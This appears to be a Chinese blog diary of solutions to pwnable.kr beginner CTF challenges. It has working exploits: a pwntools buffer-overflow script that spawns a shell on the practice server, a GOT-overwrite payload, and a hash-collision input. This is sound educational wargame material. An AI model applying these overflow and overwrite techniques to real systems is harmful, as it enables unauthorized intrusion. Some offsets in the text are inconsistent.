pwnable刷题日记 第一阶梯部分

Pwnable

这是一个棒子弄的CTF题库,主要针对的是pwn的这个么一个题型,网站的地址是 http://pwnable.kr/。与之相对的还有一个逆向的题库,也是棒子出的,这里也顺便提一下。
总体大概能分为四个层次吧,第一个层次题目也比较多,但是也比较基础。

fd

时间 2017-01-17 感觉某些事情很不顺心,所以刷题来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

前面的几个题好像都给了源代码,这是第一个题的源代码。
需要说明的是,atoi 这个函数是将字符串转换成整型数的一个函数,而0x1234的整型是4660
从代码来看,
目标:执行system(“/bin/cat flag”);
则:strcmp(“LETMEWIN\n”, buf) == 0
则:buf = “LETMEWIN\n”
则:read(fd, buf, 32)将buf设为”LETMEWIN\n”
fd == 0为标准输入
fd == 1为标准输出
fd == 2为标准错误输出
而0x1234 = 4660 所以我们只需要输入为 4660,我们可以使fd == 0,然后从终端输入LETMEWIN后回车

1
2
3
4
5
./fd 4660
LETMEWIN

good job :)
flag: mommy! I think I know what a file descriptor is!!

col

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

输入20字节,每4字节作为一个整数,相加后得到 0x21DD09EC即可。由于是通过strlen判断长度,所以不能有0x00出现,将0x21DD09EC拆分成5个整数相加(0x01010101 + 0x01010101 + 0x01010101 + 0x01010101 + 0x1DD905E8)
所以 exp为:

1
2
3
(python -c 'print "\xE8\x05\xD9\x1D" + 16*"\x01"')  

flag : daddy! I just managed to create a hash collision :)

为什么是xE8\x05\xD9\x1D 因为是32位,所以是小端输入。

bof

时间 2017-01-19
这个题目给了一个bin程序以及源码,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

首先,题目的bin是32为的,主要小端。而题目思路很简单,通过溢出,去覆盖key为0xcafebabe,当key的值为0xcafebabe,他会调用system的/bin/sh
而我们的目的是得到flag,所以我们再写入cat flag。那么这里主要的一个问题就是,我们如何准确的覆盖到overflowme的数组呢。

ebp为定位标准,所以0x2c+8即可 所以应该是 54个字节。所以最终的exp是

1
2
3
4
5
6
7
8
from pwn import *

io = io = remote("pwnable.kr",9000)
payload = 'A'*52 + "\xbe\xba\xfe\xca"
io.sendline(payload)
io.sendline("cat flag")
result = io.recvuntil('\n')
print result

flag

upx解压缩,在IDA中,找到flag变量引用,

passcode

时间2017-01-20
ssh上去后,题目给了源代码,如下:`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

本来第一份反应是构造去满足if的条件即可,但是发现welcome函数的数组只有100,name[100] ebp 0x70 112 pwd1 ebp-0x10 16 pwd2 ebp-0xc 12 112-12=100,不足以去覆盖未初始化的passcode2,但是我们会发现login函数里的两个scanf有洞,我们可以利用这个误用构造用过函数跳转去执行/bin/cat flag,那么我们需要的条件之一是如何构造以及去找到关键的这个执行的地址在哪。

我们知道,当if不符合条件的时候,他会执行exit寒素,我们将passcode1修改为exit,即 “\x18\xa0\x04\x08”

然后再让他去执行 system(“/bin/cat flag”);
我们通过 objdump -M intel -d ./passcode 去找关键的地址

所以最后的exp是:

1
python -c  'print "A"*96 + "\x18\xa0\x04\x08" + "134514147\n"+ "f\n"' | ./passcode

134514147为0x80485e3的十进制数值(因为 %d是取出整数)

random

这个题目依旧没给bin程序,但是给了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

从代码中,我们可以看出 rand函数产生的是伪随机数,每次产生出的是固定值,在本地跑一下发现固定为1804289383,于0xdeadbeef异或后得到3039230856

input

时间 2017-01-26
题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv

if(argc != 100) return 0; //参数个数为100-1 ,argv[0]是程序路径及名称
if(strcmp(argv['A'],"\x00")) return 0;//argv[65]
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;//argv[66]
printf("Stage 1 clear!\n");

// stdio 用管道重定向该进程的标准输入
char buf[4];
read(0, buf, 4);//从标准输入中读
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);//从标准错误输出中读
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;//设置环境变量
printf("Stage 3 clear!\n");

// file 从文件\x0a中 读出4字节 判断是否为 \x00\x00\x00\x00
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );//监听端口为argv[67]
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

只有/tmp目录下才有写权限,而最后读flag的语句为 /bin/cat flag,所以要将flag文件链接到/tmp目录下,在/tmp目录下新建软链接:
所以: 只需要

1
ln -s /home/input/flag /tmp/flag

leg

这是第八个吧,这是arm汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY); 0x00008ce4
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

从代码中来看,我们知道关键是key1 key2 key3,所以我们需要的是去找到他们的返回值,具体从代码来看 已知条件是

  • 前4个参数分别放在R0,R1,R2,R3中,多出来的才存在栈上
  • 函数返回值存在R0中
  • LR保存函数的返回地址(函数调用时的下一条指令地址)
  • PC保存当前指令的下2条指令地址,在arm模式下为 当前指令地址+8,在thumb模式下为 当前指令地址+4
    分别看三个key的汇编
    key1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    (gdb) disass key1
    Dump of assembler code for function key1:
    0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
    0x00008cd8 <+4>: add r11, sp, #0
    0x00008cdc <+8>: mov r3, pc
    0x00008ce0 <+12>: mov r0, r3
    0x00008ce4 <+16>: sub sp, r11, #0
    0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
    0x00008cec <+24>: bx lr

pc为返回值,在执行到mov r3,pc时,PC的值为0x8cdc+8,即0x8ce4。
key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

进行了arm到thumb的切换,其中add r6,pc #1只是为了跳转到thumb,跳转之后地址并没有加一。当执行到mov r3,pc时,PC的值为0x8d04+4,即0x8d08,后面再加上4得到返回值为0x8d0c。
key3

1
2
3
4
5
6
7
8
9
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

将lr的值作为返回值,lr的值为调用函数的下一条指令

1
2
0x00008d7c <+64>:	bl	0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0

key3返回值为0x8d80。所有返回值相加得到 0x8ce4 + 0x8d0c + 0x8d80 = 108400
最终flag是 My daddy has a lot of ARMv5te muscle!

至此刷完第一排,发现前面的题目还是比较简单的。明天除夕 先祝福大家新年快乐 我也顺便争取明天刷完第一阶梯的题目。